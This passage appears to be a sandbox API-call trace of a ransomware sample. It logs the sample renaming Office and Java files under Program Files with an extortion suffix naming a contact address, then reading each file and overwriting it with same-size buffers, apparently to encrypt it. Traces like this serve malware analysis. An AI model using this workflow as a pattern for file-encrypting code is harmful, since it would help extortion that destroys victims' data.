pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 1 [0123.361] GetProcessHeap () returned 0x630000 [0123.361] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x168) returned 0x66a3e0 [0123.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0123.375] CloseHandle (hObject=0x67c) returned 1 [0123.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP9F69~1.FIR")) returned 0x6d5200 [0123.383] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0123.384] GetProcessHeap () returned 0x630000 [0123.384] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0123.384] GetProcessHeap () returned 0x630000 [0123.384] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x696760 [0123.384] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.384] ReadFile (in: hFile=0x67c, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x37fff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.985] GetProcessHeap () returned 0x630000 [0123.985] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0123.985] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.985] WriteFile (in: hFile=0x67c, lpBuffer=0x696760*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x696760*, lpNumberOfBytesWritten=0x37fff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.985] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.985] WriteFile (in: hFile=0x67c, lpBuffer=0x696c3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x696c3f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.985] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.985] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.985] CloseHandle (hObject=0x67c) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x696760 | out: hHeap=0x630000) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0124.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfd8ac00, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xc507496, dwReserved1=0x6672f0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP9F69~1.FIR")) returned 0x6d4f80 [0124.367] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0124.367] Sleep (dwMilliseconds=0x1) [0124.381] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", len=0x3b | out: pbstr=0x37fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 1 [0124.381] GetProcessHeap () returned 0x630000 [0124.381] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x118) returned 0x66a3e0 [0124.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0124.538] CloseHandle (hObject=0x6d4) returned 1 [0124.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSFONT~1.FIR")) returned 0x6d5200 [0124.583] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0124.583] GetProcessHeap () returned 0x630000 [0124.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb01) returned 0x6e5368 [0124.584] GetProcessHeap () returned 0x630000 [0124.584] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb01) returned 0x6fba008 [0124.584] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.584] ReadFile (in: hFile=0x6d4, lpBuffer=0x6e5368, nNumberOfBytesToRead=0xae0, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesRead=0x37fff0c*=0xae0, lpOverlapped=0x0) returned 1 [0124.595] GetProcessHeap () returned 0x630000 [0124.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0124.595] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.595] WriteFile (in: hFile=0x6d4, lpBuffer=0x6fba008*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesWritten=0x37fff0c*=0xae0, lpOverlapped=0x0) returned 1 [0124.595] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.595] WriteFile (in: hFile=0x6d4, lpBuffer=0x6fbaae7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbaae7*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.596] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.596] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.596] CloseHandle (hObject=0x6d4) returned 1 [0124.597] GetProcessHeap () returned 0x630000 [0124.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0124.597] GetProcessHeap () returned 0x630000 [0124.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0124.597] GetProcessHeap () returned 0x630000 [0124.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0127.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0127.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1035a7e0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0xc507496, dwReserved1=0x6e5360, cFileName="psfont.properties.ja.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSFONT~1.FIR")) returned 0x6d4ec0 [0127.421] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0127.421] Sleep (dwMilliseconds=0x1) [0128.989] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", len=0x39 | out: pbstr=0x37fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 1 [0128.989] GetProcessHeap () returned 0x630000 [0128.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x88) returned 0x66a3e0 [0128.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0129.029] CloseHandle (hObject=0x674) returned 1 [0129.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALE~1.FIR")) returned 0x6d5340 [0129.031] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0129.031] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0129.031] GetProcessHeap () returned 0x630000 [0129.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x724f618 [0129.031] GetProcessHeap () returned 0x630000 [0129.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x725aa48 [0129.032] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.032] ReadFile (in: hFile=0x674, lpBuffer=0x724f618, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x724f618*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0135.283] GetProcessHeap () returned 0x630000 [0135.283] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0135.284] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.284] WriteFile (in: hFile=0x674, lpBuffer=0x725aa48*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x725aa48*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0135.284] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.284] WriteFile (in: hFile=0x674, lpBuffer=0x7265e47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7265e47*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.102] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.102] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.102] CloseHandle (hObject=0x674) returned 1 [0138.881] GetProcessHeap () returned 0x630000 [0138.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725aa48 | out: hHeap=0x630000) returned 1 [0138.881] GetProcessHeap () returned 0x630000 [0138.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724f618 | out: hHeap=0x630000) returned 1 [0138.882] GetProcessHeap () returned 0x630000 [0138.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0138.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x18baf16c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x21a491, dwReserved0=0xc507496, dwReserved1=0x724f610, cFileName="localedata.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALE~1.FIR")) returned 0x6d4ec0 [0138.882] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0138.882] Sleep (dwMilliseconds=0x1) [0140.152] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms", len=0x50 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 1 [0140.152] GetProcessHeap () returned 0x630000 [0140.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c48) returned 0x7203db8 [0140.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0142.565] CloseHandle (hObject=0x5e4) returned 1 [0142.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe415a524, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe415a524, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe42d7c8c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56c6, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="HomeBusinessR_Trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO22A6~1.FIR")) returned 0x6d4e00 [0143.838] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0143.838] GetProcessHeap () returned 0x630000 [0143.838] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x56e1) returned 0x7209198 [0143.838] GetProcessHeap () returned 0x630000 [0143.838] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x56e1) returned 0x720e888 [0143.838] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.838] ReadFile (in: hFile=0x5e4, lpBuffer=0x7209198, nNumberOfBytesToRead=0x56c0, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7209198*, lpNumberOfBytesRead=0x37fff0c*=0x56c0, lpOverlapped=0x0) returned 1 [0145.731] GetProcessHeap () returned 0x630000 [0145.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0145.731] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.731] WriteFile (in: hFile=0x5e4, lpBuffer=0x720e888*, nNumberOfBytesToWrite=0x56c0, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x720e888*, lpNumberOfBytesWritten=0x37fff0c*=0x56c0, lpOverlapped=0x0) returned 1 [0145.929] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.929] WriteFile (in: hFile=0x5e4, lpBuffer=0x7213f47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7213f47*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.929] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.929] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.929] CloseHandle (hObject=0x5e4) returned 1 [0145.930] GetProcessHeap () returned 0x630000 [0145.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720e888 | out: hHeap=0x630000) returned 1 [0145.930] GetProcessHeap () returned 0x630000 [0145.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7209198 | out: hHeap=0x630000) returned 1 [0145.930] GetProcessHeap () returned 0x630000 [0145.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0145.930] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 